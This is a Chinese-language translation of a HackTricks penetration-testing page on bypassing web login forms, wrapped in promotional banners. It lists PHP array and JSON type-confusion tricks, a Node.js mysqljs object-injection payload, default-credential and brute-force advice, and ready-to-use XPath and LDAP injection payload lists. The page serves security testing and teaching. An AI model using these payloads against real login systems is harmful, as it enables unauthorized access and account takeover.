> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/login-bypass.md).

# Login Bypass

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**吗？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流地。

{% embed url="<https://www.rootedcon.com/>" %}

## **绕过常规登录**

如果找到一个登录页面，您可以尝试以下一些技术来绕过它：

* 检查页面内的**注释**（向下滚动并向右滚动？）
* 检查是否可以**直接访问受限页面**
* 检查**不发送参数**（不发送任何参数或仅发送一个参数）
* 检查**PHP比较错误：** `user[]=a&pwd=b`，`user=a&pwd[]=b`，`user[]=a&pwd[]=b`
* **将内容类型更改为json**并发送json值（包括bool true）
* 如果收到响应说POST不受支持，可以尝试使用`Content-Type: application/json`在GET请求中发送**JSON主体**
* 检查nodejs潜在的解析错误（阅读[**此文章**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)）：`password[password]=1`
* Nodejs将将该有效负载转换为类似以下查询：` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这将使密码部分始终为真。
* 如果可以发送JSON对象，则可以发送`"password":{"password": 1}`来绕过登录。
* 请记住，要绕过此登录，您仍然需要**知道并发送有效的用户名**。
* 在调用`mysql.createConnection`时添加`"stringifyObjects":true`选项最终将**阻止在参数中传递`Object`时的所有意外行为**。
* 检查凭据：
* 使用所使用技术/平台的[**默认凭据**](/generic-methodologies-and-resources/brute-force.md#default-credentials)
* **常见组合**（root、admin、password、技术名称、默认用户与这些密码之一）
* 使用**Cewl**创建字典，**添加**默认用户名和密码（如果有的话），并尝试使用所有单词作为**用户名和密码**进行暴力破解
* 使用更大的**字典进行暴力破解（**[**暴力破解**](/generic-methodologies-and-resources/brute-force.md#http-post-form)**）**

### SQL注入身份验证绕过

[在此处，您可以找到通过**SQL注入**绕过登录的几种技巧](/pentesting-web/sql-injection.md#authentication-bypass)。

在以下页面中，您可以找到一个**自定义列表**，尝试通过SQL注入绕过登录：

{% content-ref url="/pages/6COsYFEz8UmoqQgoLk5N" %}
[Login bypass List](/pentesting-web/login-bypass/sql-login-bypass.md)
{% endcontent-ref %}

### 无SQL注入身份验证绕过

[在此处，您可以找到通过**无SQL注入**绕过登录的几种技巧](/pentesting-web/nosql-injection.md#basic-authentication-bypass)**。**

由于无SQL注入需要更改参数值，您需要手动测试它们。

### XPath注入身份验证绕过

[在此处，您可以找到通过**XPath注入**绕过登录的几种技巧](/pentesting-web/xpath-injection.md#authentication-bypass)

```
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
```

### LDAP注入身份验证绕过

[在这里，您可以找到几种绕过**LDAP注入**登录的技巧。](/pentesting-web/ldap-injection.md#login-bypass)

```
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
```

### 记住我

如果页面具有“**记住我**”功能，请检查其实现方式，看看是否可以滥用该功能来**接管其他账户**。

### 重定向

通常在登录后页面会重定向用户，请检查是否可以更改该重定向以引发[**开放重定向**](/pentesting-web/open-redirect.md)。如果将用户重定向到您的网站，也许可以窃取一些信息（代码、cookie...）。

## 其他检查

* 检查是否可以通过滥用登录功能**枚举用户名**。
* 检查密码/**敏感**信息**表单**的**自动完成**是否处于活动状态：`<input autocomplete="false"`

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点聚会。

{% embed url="<https://www.rootedcon.com/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？您想看到您的**公司在HackTricks中做广告**吗？或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>
